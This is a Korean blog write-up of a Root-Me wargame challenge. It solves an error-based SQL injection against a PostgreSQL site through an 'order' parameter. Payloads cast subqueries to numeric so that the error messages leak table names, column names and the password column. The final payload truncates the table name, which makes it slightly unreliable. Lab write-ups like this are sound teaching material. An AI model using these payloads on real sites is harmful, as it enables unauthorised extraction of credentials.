ROOTME] SQL Injection - Error

노션으로 옮김·2020년 4월 1일
1

wargame

목록 보기
31/59
post-thumbnail

문제

로그인 페이지가 존재하고

콘텐츠를 읽는 페이지가 존재한다.
하지만, 권한이 없다고 출력된다.


풀이

Error Base SQL Injection

에러 기반 SQL 인젝션을 시도해보자.

로그인 페이지에서는 대부분이 필터되서 시도할 수 없었고,
콘텐츠 페이지에서 order 파라미터를 통해 인젝션이 가능했다.

입력한 값이 order 명령어의 뒤에 삽입되므로 시도할 수 있는 것은
컬럼명을 select로 인젝션하는 것이다.

order by page, [ (select ~~~~)  ]

postgreSQL

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20FAST%20blind%20SQL%20Injection.pdf

rootme에서 제공해준 문서를 살펴보면 데이터베이스 종류에 따른 다양한 인젝션 cheat가 나와있다.

하나씩 인젝션 해보면서, 문제에서 사용된 데이터베이스는 postgreSQL라는 것을 확인했다.

테이블 이름 획득

테이블 이름을 얻기 위해 다음과 같이 인젝션 했고

,(cast((select+table_name+from+information_schema.tables+limit+
1+offset+0)+as+numeric))-- 

테이블 명을 획득할 수 있었다.

ERROR: invalid input syntax for type numeric: "m3mbr35t4bl3"

해당 쿼리는 numeric으로 캐스팅하는 과정에서 에러유발을 시키는 것 같다.

또한, 따로 where 조건절 없이 offset 0번에서 나온 테이블 이름이 유저정보가 담긴 테이블임을 확신할 수 있는 이유는

postgreSQL에서는 사용자가 생성한 테이블이 offset 0번째에 들어가게 된다.

offset 1번을 확인했을 때

ERROR: invalid input syntax for type numeric: "pg_type"

pg_type, 시스템에서 생성한 예약된 테이블명이 나왔으므로 0번 테이블이 정보를 스니핑해야 하는 대상임을 유추할 수 있다.

컬럼 이름 획득

패스워드 컬럼의 이름을 찾아야 한다.

앞서 구한 table_name을 조건절로 바로 구하려 했다.

,(cast((select+column_name+from+information_schema.columns+where+table_name=%27m3mbr35t4bl3%27+limit+1+offset+0)+as+numeric))--
ERROR: syntax error at or near "m3mbr35t4bl3" LINE 1: ...rom information_schema.columns where table_name=''m3mbr35t4b... ^

하지만 쿼리가 실행되지 않고, 그냥 문법에러가 발생했다.
직접 postgreSQL을 구축하여 확인해봤는데 문제가 없는 쿼리였다.

따로 방법이 없었고, offset을 올려가며 패스워드 컬럼명을 찾아냈다.

,(cast((select+column_name+from+information_schema.columns+limit+1+offset+2)+as+numeric))--
ERROR: invalid input syntax for type numeric: "p455w0rd_c0l"

결과를 보고 예측하건데, 컬럼명도 마찬가지로 사용자가 생성한 테이블의 컬럼이 가장 상위에서 반환되는 듯하다.

플래그값 획득

어쨌든 획득한 정보로 플래그값을 찾을 수 있었다.

,(cast((select+p455w0rd_c0l+from+m3mbr35t4b+limit+1+offset+0)+as+numeric))--

0개의 댓글